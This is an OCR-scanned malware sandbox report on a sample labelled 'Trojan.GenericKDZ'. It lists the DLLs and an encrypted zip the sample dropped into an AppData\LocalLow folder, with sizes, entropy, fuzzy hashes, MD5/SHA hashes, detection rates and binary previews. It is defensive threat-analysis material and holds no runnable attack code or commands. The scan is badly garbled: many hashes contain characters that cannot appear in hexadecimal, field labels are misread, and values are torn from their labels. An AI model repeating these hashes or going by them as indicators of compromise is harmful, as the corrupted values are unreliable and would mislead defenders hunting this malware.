https://view.joesandbox.com/analysis/264313/html/none
https://view.joesandbox.com/analysis/264310/html/none
https://view.joesandbox.com/analysis/263136/html/none
https://view.joesandbox.com/analysis/263132/html/none
https://view.joesandbox.com/analysis/262296/html/none
https://view.joesandbox.com/analysis/261640/html/none
https://view.joesandbox.com/analysis/259699/html/none
https://view.joesandbox.com/analysis/259373/html/none
https://view.joesandbox.com/analysis/259354/html/none
https://view.joesandbox.com/analysis/259348/html/none
https://view.joesandbox.com/analysis/259336/html/none
https://view.joesandbox.com/analysis/259335/html/none
https://view.joesandbox.com/analysis/259332/html/none
https://view.joesandbox.com/analysis/259326/html/none

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleMarshal.dll v

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 26064
Entropy (8bit):  5.981632010321345
Encrypted: false
SSDEEP: 384:KuAjyb0Xc6JzVuLoW2XDOc3TXglhjsvDG8A30OPLon07zS:BEygs6RV60W2Xd38njiDG8M;
MD5: A7FABF3DCEO008915CEE4FFC338FALCEG
SHA1L: F411FB41181C79FBA0516D5674D07444E98E7C92
SHA-256: D368EB240106F87188C4F2AE30DB793A2D250D9344F0E0267DAF6A58E68152AD
SHA-512: 3D2935D02D1A2756AAD7060C47DC7CABBA820CC9977957605CE9BBB44222289CBC451AD331F408317CF01A1A4D3CF8DICFC666CAE6B4DBIDDD404C7629CE,
70
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
............................................... 1..L.IThis program cannot be run in DOS mode....$......S....U..U..U..U...U.T..U.T..U.T..U.T..U5.T..U..UL.U..T..
" 8....0....... L0>ix
.@..@.data..@....P
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\IA2Marshal.dll v
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 70608
Entropy (8bit):  5.389701090881864
Encrypted: false
SSDEEP: 768:3n8PHF564hn4wva3AVgH5PmMEOS]A6QMOavrDG8MR43:38th4wvaQVESPRIOxs
MD5: 5243F66EF4595D9D8902069EED8777E2
SHA1L: 1FB7F82CD5F1376C5378CD88F853727AB1CC439E
SHA-256: 621F38BD19F62C9CE6826D492ECDF710C00BBDCF1FB4E4815883F29F1431DFDA
SHA-512: A6AB96D73E326C7EEF75560907571AE9CAA70BA9614EB56284B863503AF53C78B991B809COC8BAE3BCEY9142018F59D42DD4BCD41376D0A30D9932BCFCAEES
A
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy.dll v
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 19920
Entropy (8bit):  6.2121285323374185
Encrypted: false
SSDEEP: 384:YOGKgKt7QXmFJINauBT5+BjdvDG8A30PLon6nt:aKgWc2FnnTOVDG8MSt
MD5: 7CD244C3FC13C90487127B8D82F0B264
SHA1L: 09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256: BCFBOE397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512: C6319BB3D6CB4CABF96BD1EADB8C46A3901498AC0OEB789D73867710B0D855AB28603A00647A9CF4AD2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD!
3D
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll v
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

Copyright null 2021
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https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBSQlRLOEJiM0c/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBDbFlMc3gya2Jm/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBpbVpFZEJ5UTh2/regular/analysis

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll v

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 19920
Entropy (8bit):  6.2121285323374185
Encrypted: false
SSDEEP: 384:YOGKgKt7QXmFJINauBT5+BjdvDG8A30PLon6nt:aKgWc2FnnTOVDG8MSt
MD5: 7CD244C3FC13C90487127B8D82F0B264
SHA1L: 09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256: BCFBOE397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512: C6319BB3D6CB4CABF96BD1EADB8C46A3901498AC0EB789D73867710BOD855AB28603A00647A9CF4D2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD!
3D
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\aR8pJ3hC8rG2sT.zip E
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: Zip archive data, at least v2.0 to extract
Category: dropped
Size (bytes): 2828315
Entropy (8bit):  7.998625956067725
Encrypted: true
SSDEEP: 49152:tiGLaX5/cgbRETICOEqgSVAX07XZiEi4qgiefeEJGt5ygL0+6/qax:t90X9alwISVP1fnefekGt5CP
MD5: 1117CD347D09C43C1F2079439056ADA3
SHA1L: 93C2CE5SFC4924314318554E131CFBCD119F01AB6
SHA-256: 4ACFADA7EB51A6C0CB26283F9C86784B2B2587C59C46A5D3DCOF06CAD2C55EE97
SHA-512: FC3F85B50176C0F96898B7D744370E2FFO0AA2024203B936EB1465304C1C7A56E1ACO78F3FDF751F4384536602F997E745BFFF97F1D8FF2288526883185C08FAF
Malicious: false
Preview:
PK......... znN<.{r....i.....nssdbm3.dIl...|...8...N..Y..6.$J.....$1...D .a....jL.V.C.N;.. } ... 8. Z T.RQC..EC= s {esp LAPMLL WL @ PN~ AL W.0.....
[ dw] ke <yRAE.0.nxs.c...=V....,.F...cu...w.O..[.u{.<w..7P. { K~ .E.w...c..Z".[Z...6.G.V.2..+.n4.....1IM....... wif.nIL.{. d.....M..+.. ... L) BXLLL LK.
M..w.l..LA8r.IX...r...87. }........ <Jr...TWm.....b6/._...a.W.IB..3.n.._...j....0.Mz.._Q........ 8. KX gr.L.*H..v...6[*..4l..{19..<.>M..$G.&Y........ 009 WemLX
.Y.3.%..S<#}.".>.0RBg,...lh.s..0.....r.p8...)..3..K.v....ds.n3.+]....+...krMu._.Y\.../8T....&BC.".u..;..e. k u$.....~" { LM..\W.Y.37+nQ.Z.*...3\G..5d....Z.hVL..Z.|k.5..XF.Y..IVVW.
.C..|.....b.\.Z..m. .0..P.F8{l.U.p..RW,n..MM....s..._@..>Q.. ...N.>. T?WM....)9B.. 0...M...>>$\.%..L.zF.l..3
C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-11-2-0.dll v
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 18232
Entropy (8bit):  7.112057846012794
Encrypted: false
SSDEEP: 192:1WIghWGJInWdsNtL/1230uo+Uggs/nGfe4pBjSfcD63QXWhOtxKdmVWQ4yW1rwgnh:IWPhWIsnhiO0GftpBjnem9lD16PamFP
MD5: E2F648AE40D234A3892E1455B4DBBEOS
SHA1L: D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256: C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBECIEGF33E8A03
SHA-512: 18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8BAECAC693904AB20CA40EE4E954
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
MZ.oiiiiiiiie @ e I..L.IThis program cannot be run in DOS mode....$........ m....e...e..e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L....
@.... L.. 8= T
rsrc. .@..@.. 8..T..T _ .d _.L. ..g"Y........api-ms-win-core-file-11-2-0.pdb..
rdata$zzzdbg....... L....edata... ..” TP rsrc$02......... L@ (8l RTTRUTTRTPON api-ms-win-core-file-11-2-0.dll.CreateFile2.kerne
132.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou
C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-12-1-0.dll v
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 18232
Entropy (8bit):  7.166618249693435

Copyright null 2021
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https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBpbVpFZEJ5UTh2/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFlrZng5Q09aMU1sMA/regular/analysis

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-12-1-0.dll v

Encrypted: false
SSDEEP: 192:BZWWIghWG4U9ydsNtL/1230uo+Uggs/nGfe4pBjShUGHVNWhOtxKdmVWQ4CWVU9h: UWPhWFBshhi00GtpBjKvxemPIP55QQ7
MD5: E479444BDD4AE4577FD32314A68F5D28
SHA1L: 77TEDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256: C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512: 2AFAB302FEOF7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB74
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..4..|.
win-core-file-| I2 1-0.dIl.CopyFile2. kernel32 CopyF|IeZ CopyF|IeExW kernel32.CopyFileExW.Crea
C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-handle-11-1-0.dll v
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 18232
Entropy (8bit):  7.1117101479630005
Encrypted: false
SSDEEP: 384:AWPhWXDz6i00GftpBj5FrFaemx+IDbNh/6:hroidkeppp
MD5: 6DB54065B33861967B491DD1C8FD8595
SHA1L: EDO0938BBCOE2A863859AAD64606B8FCAC69B810A
SHA-256: 945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CASCA4CBDOES
SHA-512: AABFOBCB760D449A3A82AED67CAOF7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1IADACBD2B46B1127108EC4A96C5CFIDEIBDEC36E993D0657A61
5B6
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
@i I..L.IThis program cannot be run in DOS mode....$........ m....e...e..e.ne..e.na...e..n..
RSN B P .
ceeees o TSICLL .G ....RSDSQ. {...IS].0.> ....api-ms-win-core-handle-11-1-0.pdb........... T....rdata.
T rdata$zzzdbg G (<P A...| ............... e api-ms-win-core-handle-11-1-
0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-heap-11-1-0.dll v
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 18232
Entropy (8bit):  7.174986589968396
Encrypted: false
SSDEEP: 192:GEIqWIghWGZi5sedXe1230uo+Uggs/nGfe4pBjS/PHYRWhOtxKdmVWQ4GWC2w4Dj3:GEIqWPhWCXYi00GftpBjP9emYXIDbNs
MD5: 2EA3901D7B50BF6071EC8732371B821C
SHA1L: E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256: 44F6DF4280C8ECCI9C6E609B1A4BFEE041332D337D84679CFEOD6678CE8F2998A
SHA-512: 6BFFACBE157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C
D
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
1..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L
(..E..f.
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-interlocked-11-1-0.dll v
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 17856
Entropy (8bit):  7.076803035880586
Encrypted: false
SSDEEP: 192:DtiYsSFWWIghWGQtu7B1230uo+Uggs/nGfe4pBjSPiZadcbWhOtxKdmVWQ4mWf2FN:5iY SFWWPhWUTI00GtpBjremUBNIgC

Copyright null 2021
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https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFl6ZmxrWnM3MUxqQQ/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFlpLXBKcXdWZXdu/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFlHdHhxR0VuRXFNQQ/regular/analysis

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-interlocked-11-1-0.dll v

MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Preview:

D97A1CB141C6806F0101A5ED2673A63D

D31A84C1499A9128A8FOEFEA4230FCFAGC9579BE

DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFFIF7489890B5263D63203B5BA99EOB4099A5699C620

false

e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-libraryloader-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18744

7.131154779640255

false

384:yHvuBL3BmMWPhWZTIi00GftpBjNKnemenyAlvNOW/L:yWBL3BXYoinKnelyd
D0873E21721D04E20B6FFBO38ACCF2F1
9E39E505D80D67B347B19A349A1532746C1F7F88
BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE

4B7F2AD9EADG489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890ABC8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DFOAI
7

false

..rdata$zzzdbg..
)...Pow....

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-localization-11-2-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

20792

7.089032314841867

false

384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cem|jlD16Pa+4r: KOMwBprwjGjue9/0jCRrndbCOoireqv
EFF11130BFEOD9C90C0026BF2FB219AE

CF4C89A6E46090D3D8FEEBIEB697AEABA26E4088
03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADI

false

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-memory-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18744

7.101895292899441

false

384:+bZWPhWUsnhiO0GftpBjwBemQID16Par7:b4nhoiéBedH
D500D9E24F33933956DF0E26F087FD91
6C537678AB6CFD6F3EAODCOF5ABEFD1C4924F0CO
BB33A9E906A5863043753C44F6F8165AFE4DSEDB7ES5EFA4C7EGELED90778ECA
C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07CO0C64A34BE

false
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https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFlhS3llVF90UE5Gdg/regular/analysis

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-memory-11-1-0.dll

Preview:

.............. 4[| e n.@PI-MS-WiN-cOre-memory-11-1-0.dl

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-namedpipe-11-1-0.dil

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18232

7.16337963516533

false
192:pgWIghWGZiBeS1230uo+Uggs/nGfe4pBjS/fE/hWhOtxKdmVWQ4GWoxYyqnaj/6B:iWPhWUEIO0GftpBjltemnltcwWB
6F6796D1278670CCE6E2D85199623E27

8AA2155C3D3D5AA23F56CD0OBC507255FC953CCC3
C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FDOCESE2705BBF061F507

6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3BOBAFB1C8D39FCF1107C57F9EAFQ063A
B

false

MZ..

.m....e...e..e.ne...e.na...e..n....e..ng...e.Rich..e.PE..L...

L.!IThis program cannot be run in DOS mode....$
.8= T
...RSDS...IK.XM.&.

..rsre. T.T

.@.@

win-core-namedpipe-I1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processenvironment-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

19248

7.073730829887072

false
192:wXjWIghwGd4dsNtL/1230uo+Uggs/nGfe4pBjSXcYddWhOtxKdmVWQ4SWO04engo5:MjWPhWHsnhi00GftpBjW7emOj511z6hP
5F73A814936C8E7E4A2DFD68876143C8

D960016C4F553E461AFB5B06B039A15D2E76135E
96898930FFB338DA45497BE019AE1IADCD63C5851141169D3023E53CE4C7A483E

77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECFOAADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBD!
ED

false

1..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r

api-ms-win-core-processenvironment-11-1-0.pdb.
LSl ML P 6. Ko /.

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processthreads-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

19392

7.082421046253008

false

384:afk1JzNcKSIIWPhW2snhi00GftpBjZgcLvemr4PIgC:RcKST+nhoi/BbeGv
A2D7D7711F9COE3E065B2929FF342666
Al7B1F36E73B82EF9BFB831058F187535A550EB8
9DAB884071B1F7D7A167FI9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D

D436B2192C4392A041E20506B2DFB593FES5797F1FDC2CDEB2D7958832C4C0A9EO0D3AEAGAAL737D8A9773817FEADFATEEB26A6B05FD75ABOBDAES84895C2C4
EF

false

MZ.oiiiiiiiie @i I..L.IThis program cannot be run in DOS mode....$........ m....e...e..e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L............... 1.

..rsrc. api-ms-win-core-processthreads-11-1-0.pdb.. .
.rsre$01....0 L. rsrc$02 ............................ L2 Koo Xewioiiies e e [SFs PSR, LN Yl | IR

9.8 Pt
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C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processthreads-11-1-1.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18744

7.1156948849491055

false

384:xzADfleRWPhWKEIi00GftpBjjlemMVIVNOM:xzfeWeoillep
D0289835D97D103BADODD7B9637538A1
8CEEBE1E9ABB0044808122557DE8BAAB28AD14575
91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A

97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EAOBICASF6EE6BGIACAC252EEC55D895F942A94EDD88CABFD2DAI
D

false

MZ.oiiiiiiiiee @ e 1..L.IThis program cannot be run in DOS mode....$........ m....e...e..e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...9........... 1.

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-profile-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

17712

7.187691342157284

false
192:w9WIghWGdUuDz7M1230uo0+Uggs/nGfe4pBjSXrw58h6WhOtxKdmVWQ4SW7QQtzko:wOWPhWYDz6i00GftpBjXPemD5I1z6hv
FEE0926AA1BF00F2BEC9DA5DB7B2DES6

F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C

0958759A1C4A4126F80AASCDDIODFOE18504198AEC6828C8CESEBS5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1
3

false

1..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...&

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-rtisupport-11-1-0.dil

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

17720

7.19694878324007

false

384:61G1WPhWksnhi0O0GftpBjEVXremWRIP55Jk:kGiYnhoigVXreDT5Y
FDBAODBO0A1652D86CD471EAAS09E56EA
3197CB45787D47BAC80223E3E98851E48A122EFA
2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DFOB57
E5056D2BD34DC74FC5F35EA7AA8189AAAB6569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A7T4ABOF07712ED23F2E1B840E47A099B1EGBEL!

false

1..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L

data$zzzdbg... ....rsrc$02... ..api-ms-win-core- rtlsupport 11- 1 0.dIl.RtICaptureCont
ext.ntdll. RtICaptureContext RtlCaptureStackBackTrace.ntdll.RtiCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-string-11-1-0.dll

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18232

7.137724132900032

false

384:xyMVRWPhWFs0i00GftpBjwCJdemnflUG+zl4:xyMvWWoibeTnn
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C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-string-11-1-0.dll

MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

12CC7D8017023EF04EBDD28EF9558305
F859A66009D1CAAE88BF36B569B63E1FBDAEY493
7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CAG75AD6BICIOA7311

F62303D98EA7DODDBE78E4AB4DB31AC283C3A6F56DBESE3640CBCF8C06353A37776BF914CFES7BBB77FC94CCFA48FACO6E74E27A4333FBDD112554C646838
29

false

1..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....R..

.rdata$zzzdbg .api-ms-win-core-

string-11-1-0.dIl.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-synch-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

20280

7.04640581473745

false
384:5Xdv3V0dfpkXcOvVaHWPhWXEiIO0GftpBj9em+4IndanJ70:5Xdv3VapkXcOvVa8poivex
71AF7ED2A72267AAAD8564524903CFF6
8A8437123DE5A22AB843ADC24A01AC06F48DB0OD3
5DD4CCD63E6GEDO7CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F

7EC2EOFEBC89263925C0352A2DE8SCC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDADY0594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFAL
75

false

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-synch-11-2-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18744

7.138910839042951

false

384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYIP55t:j+0iVweb53
OD1AA99ED8069BA73CFD74BOFDDC7B3A
BA1F5384072DF8AF5743F81FD02C98773B5ED147
30D99CE1D732F6CICF82671E1D9088AA94E720382066B79175E2D16778A3DAD1

6B1A87B1C223B757E5A39486BEGOF7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CESDSE09AG6992BB131ADDF11EF2E
F9

false

e XFUYL
e e rsre$02......ocviinnne
api-ms-win-core-synch-

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-sysinfo-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

